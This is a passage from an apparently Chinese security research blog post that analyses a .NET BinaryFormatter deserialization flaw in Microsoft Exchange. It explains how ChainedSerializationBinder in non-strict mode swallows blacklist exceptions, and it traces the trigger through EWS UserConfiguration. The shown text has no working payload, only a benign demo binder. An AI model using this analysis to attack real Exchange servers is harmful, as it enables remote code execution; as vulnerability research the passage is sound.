1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space: nowrap;">using System;<br/>using System.Collections.Generic;<br/>using System.Linq;<br/>using System.Text;<br/>using System.Threading.Tasks;<br/>using System.IO;<br/>using System.Runtime.Serialization;<br/>using System.Runtime.Serialization.Formatters.Binary;<br/> <br/> <br/>namespace deserialDemo<br/>{<br/>    class Program<br/>    {<br/>        static void Main(string[] args)<br/>        {<br/>            BinaryFormatter binaryFormatter = new BinaryFormatter();<br/>            MemoryStream memoryStream = new MemoryStream();<br/>            RCE calc = new RCE(&#34;calc&#34;);<br/>            binaryFormatter.Serialize(memoryStream, calc);<br/> <br/>            memoryStream.Position = 0;<br/>            binaryFormatter.Binder = new MyBinder();<br/>            object v = binaryFormatter.Deserialize(memoryStream);<br/>            Console.WriteLine(v);<br/>            Console.ReadKey();<br/> <br/>        }<br/>    }<br/>    [Serializable]<br/>    class RCE<br/>    {<br/>        public string cmd;<br/> <br/>        public RCE(string cmd)<br/>        {<br/>            this.cmd = cmd;<br/>        }<br/> <br/>        public override string ToString()<br/>        {<br/>            return $&#34;exec cmd:{cmd}&#34;;<br/>        }<br/>    }<br/>    class MyBinder : SerializationBinder<br/>    {<br/>        public override Type BindToType(string assemblyName, string typeName)<br/>        {<br/>            Console.WriteLine($&#34;assemblyName:{assemblyName},typeName:{typeName}.&#34;);<br/>            Type typeToDeserialize = Type.GetType(String.Format(&#34;{0}, {1}&#34;, typeName, assemblyName));<br/> <br/>            if (typeToDeserialize.Equals(typeof(RCE)))<br/>            {<br/>                Console.WriteLine(&#34;can&#39;t deseriliza rce class.&#34;);<br/>                throw new Exception(&#34;error&#34;);<br/>            }<br/>            return typeToDeserialize;<br/>        }<br/>    }<br/>}</code></pre><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在MyBinder 里实现具体逻辑，判断即将要被反序列化的类的Type-typeToDeserialize是否等于typeof(RCE)。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在反序列化之前，设置binaryFormatter.Binder = new MyBinder();</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">尝试反序列化，被阻止，弹出异常：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.44967880085653106" title="null" data-type="png" data-w="1401" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=b61e16a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFuZn152KXUnKRGmJPHYWKbdVcmcqyskZAfnZZ90iafUOXbiahUBJV4Mx6g%2F640%3Fwx_fmt%3Dpng"/><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">反序列化触发点</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.Compliance.dll中的Microsoft.Exchange.Compliance.Serialization.Formatters.TypedBinaryFormatter的DeserializeObject方法：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.17873100983020554" title="null" data-type="png" data-w="1119" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=1df514a7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFupLzty7HAuscb5yaX4NSWTianEgpGxxqELwjxqFPg1YHJDbfpzQ8XMsw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">传入SerializationBinder实例但没有被使用</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.1489191353082466" title="null" data-type="png" data-w="1249" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=7fb39fb8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFuwf41fMGttYywXRUiaf83NgpcP9zJ9Voe4snXFaWsrpHCyUsxq9m8Eqg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过CreateBinaryFormatter生成BinaryFormatter对象:</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.13458646616541353" title="null" data-type="png" data-w="1330" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c8741d3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFuoNIIk9IuQlfibxjX3OmTVqSvk1iba6iacIb7pKyMfnBibVYJJ1CibPt0wxA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">其中初始化的时候指定了Binder，为ChainedSerializationBinder函数的结果：</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">此时传入的参数为：</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">strictMode = false</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">allowList = &#34;System.DelegateSerializationHolder&#34;</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">allowedGenerics = null</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">ChainedSerializationBinder重写了父类SerializationBinder的BindToType和BindToName方法</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.28763440860215056" title="null" data-type="png" data-w="1116" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=5216a0b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFuJjplUIOLGeCJFF616hRhleg02jhA58hjBnAUmPrW8lM5ARibB4BPmvw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">进入ValidateTypeToDeserialize函数</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4968152866242038" title="null" data-type="png" data-w="1413" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=3bee14cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFuTg37HE2gNhGNMCvkV21RZwkWrCJ7r28dF4lH4TfVGxpe8N07Dia11oA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">!this.strictMode=true 此时默认情况为真。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">this.allowedTypesForDeserialization.Contains(text) 此时allowedTypesForDeserialization是我们传入的&#34;System.DelegateSerializationHolder&#34;，text为即将被反序列化的类的类名。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">ChainedSerializationBinder.GlobalDisallowedTypesForDeserialization为反序列化的黑名单：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5197699496764917" title="null" data-type="png" data-w="1391" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=ae3b1d69&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFuVUOszfyx3SG3AZlOBC34p6yia4VOPiaQwLy9O1MB5sDdn64nxwhK7tibg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">此时flag=this.strictMode为false：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5597592433361995" title="null" data-type="png" data-w="1163" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=ab54aec3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFuKuxZnlFGEbWVMyibmicURwp5fablzsXwodAomMibfOzicqhsFSLtS9V1Gg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">此时抛出的BlockedDeserializationException 异常会被捕获，因为flag=false，整个ChainedSerializationBinder不会抛出异常。因此可以造成不在黑名单中的任意类的反序列化。如果进入InvalidOperationException就会直接进入异常，不会进入反序列化的逻辑。</p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">触发反序列化</h2><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">寻找使用DeserializeObject函数的地方：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.13681783243658724" title="null" data-type="png" data-w="1301" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c6a5c549&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFuzzliaBTXdGWDmauO5ThZmvvy1dX4zfvMHgicI5nSDYSYicOvoWKXh8d4w%2F640%3Fwx_fmt%3Dpng"/><span style="letter-spacing: 0.1em;">ClientExtensionCollec</span><span style="letter-spacing: 0.1em;">tionFormatter没找到相关的调用，查看继承的接口在哪里实现：</span></figure><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.17696044413601666" title="null" data-type="png" data-w="1441" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=170e8490&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFuOPdEufzdPaJ3br7328FgYZLMRGpwGeMEiaE6icibFK3c9aicn8sfUFSeTQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">发现TryDeserialize方法：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.463020030816641" title="null" data-type="png" data-w="1298" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=4921aa4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFu74dkwicNsHQsXE2LJe3G2kMK9SKMwDRL7b1sIRw3tBs9kibfUnDzxjDg%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">发现来自UserConfiguration，在exchange2010的反序列化漏洞中通过ews设置账户属性进行触发。这里我们只要找到一个属性可以设置为binary的地方就可能触发。</p><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">Microsoft.Exchange.Data.Storage.UserConfiguration:</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5534136546184739" title="null" data-type="png" data-w="1245" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=148dccfa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFuoEMJuIkjYMtdhAg5hdvW1jrds6j87IPmWl5deF8GsZpA6TBic1tWNPA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">可以看到UserConfiguration的类型有xml形式：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4459234608985025" title="null" data-type="png" data-w="601" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb5f829a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFukI5tvbELpBqX3f3zrAPGcFPDl3aib0JW66og9NYpia4zbxSNick0I3yRA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">接下来就是怎么通过ews设置用户设置，主要是如何传递二进制的问题，网上已经有人审计的ews找到了解决办法，在我们前面的文章也提及过如何找到xml对应的类：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6840336134453782" title="null" data-type="png" data-w="595" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=010774f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFu9zncHvqXjQW1UU08ajuuVkH3ZiafNLLw6BxwNcG0P3ibfuGOECUMsJzA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">设置完反序列化之后需要触发：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5845238095238096" title="null" data-type="png" data-w="840" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=f9a51530&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFuFZU53SCwPRZTgBAvmCPWgaticFJrcUayWhuib2kVPrbgxm5nZema0UzA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">通过获取用户ExtesionDataList触发，通过ews调用此接口：</p><figure style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.7941176470588235" title="null" data-type="png" data-w="544" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=562ca160&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8797F2Fq5YGvFgVx2nzKqhTFunAhErI3tWdomMAWa4aiawoZmSxxcmRekpCBmRL8FvWKz1tibic3kUcEMA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="font-size: 14px;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, 